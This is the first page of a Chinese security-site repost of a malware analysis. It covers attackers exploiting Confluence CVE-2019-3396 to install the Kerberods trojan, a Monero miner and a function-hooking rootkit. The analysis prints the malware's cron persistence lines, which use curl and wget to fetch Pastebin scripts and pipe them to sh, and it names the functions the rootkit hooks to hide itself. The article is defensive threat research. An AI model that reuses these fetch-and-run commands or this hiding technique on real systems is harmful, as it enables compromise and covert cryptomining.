欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

使用Rootkit实现恶意挖矿:CVE-2019-3396漏洞新型恶意利用方式分析

来源:本站整理 作者:佚名 时间:2019-05-12 TAG: 我要投稿

Confluence是一个广泛使用的协作与规划软件。在2019年3月,Atlassian发布了一份咨询报告,涉及到两个Confluence的关键漏洞。4月,我们观察到其中一个漏洞,即工具连接器漏洞CVE-2019-3396被威胁参与者恶意利用以执行恶意攻击。安全提供商Alert Logic还发现该漏洞被利用于投放Gandcrab勒索软件。
上述这些事件,应该不会是我们最后一次发现CVE-2019-3396的开发利用事件,因为威胁行为者仍然在寻找利用此漏洞的新方法。我们发现,该漏洞还被利用于提供一个加密货币挖掘的恶意软件,其中包含一个旨在隐藏其活动的Rootkit。这种技术很容易让我们联想到2018年11月发生的另一起使用挖矿工具+Rootkit组合的攻击。
投放和传播
该恶意活动的感染链如下:

在攻击开始时,首先发送一个远程命令,从Pastebin下载Shell脚本(hxxps://pastebin[.]com/MjGrx7EA)。
该Shell脚本会终止某些进程,然后从另一个Pastebin(hxxps://pastebin[.]com/CvJM3qz5)下载并执行lsd_1文件。该文件是第二个Shell脚本,它会投放第三个Shell脚本lsd_2,该脚本来自另一个Pastebin(hxxps://pastebin[.]com/a3EAddwq)。
这一Shell脚本负责从下面的服务器中,下载木马程序:
gwjyhs[.]com
img[.]sobot[.]com
恶意软件Kerberods(检测为Trojan.Linux.KERBERDS.A)是一个自定义打包的二进制文件,该恶意软件会通过cron任务来自行安装:
*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh
Kerberods负责投放加密货币挖掘工具(khugepageds,检测为Coinminer.Linux.MALXMR.UWEJI)及Rootkit组件。
在这里,有一个非常值得关注的地方,就是二进制文件投放Rootkit的方式。首先,它将Rootkit的代码写入名为/usr/local/lib/{random filename}.c的文件中。

然后,通过gcc编译Rootkit,输出二进制文件到/usr/local/lib/{random filename}.so。
编译Rootkit代码:

Kerberods还有多种传播方式,比如利用CVE-2019-1003001和CVE-2019-1003000漏洞通过SSH方式传播。
至于khugepageds,它是一个XMRig 2.14.1-mo1 门罗币(Monero)挖矿工具,该挖矿的配置信息以硬编码的形式保存到二进制文件中:
挖矿工具的配置:

我们可以在systemten[.]org:51640访问该挖矿工具所使用的矿池。
使用Rootkit逃避检测
如前文所述,此次攻击与去年发生的攻击事件具有许多相同的特征,例如:都使用了Pastebin作为C&C服务器、挖矿Payload相同、使用Rootkit来隐藏恶意软件。
与Kerberods一样,挖矿工具Payload也是用自定义加壳工具来防止安全研究人员的分析。

与仅对readdir函数进行挂钩从而隐藏挖矿进程的旧版本Rootkit不同,新版本对更多函数进行了挂钩。在新版本中,不仅隐藏了挖矿进程,还隐藏了某些文件和网络流量。除此之外,还能够伪造主机的CPU使用率。
新版本恶意软件挂钩的函数包括:
fopen、fopen64、lstat、lxstat、open、rmdir、stat、stat64、__xstat、__xstat64、unlink、unlinkat、opendir、readdir、readdir6。
如果它们的参数中包含诸如rootkit、miner或ld.so.preload这样的文件名,那么大多数挂钩函数都会返回“No such file or directory error”(无此类文件或目录错误)。
被挂钩的函数返回错误,以隐藏恶意软件感染的迹象:

下图展示了加载Rootkit时和未加载Rootkit时的htop系统监控输出。我们可以重点关注加载Rootkit后如何隐藏CPU使用率和挖矿过程。
下图为htop系统监控工具的输出,左图为未加载Rootkit时,右图为加载Rootkit时:

下图为netstat的输出,左图为未加载Rootkit时,右图为加载Rootkit时:

下图为伪造CPU使用率和TCP连接的函数:

伪造网络流量:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载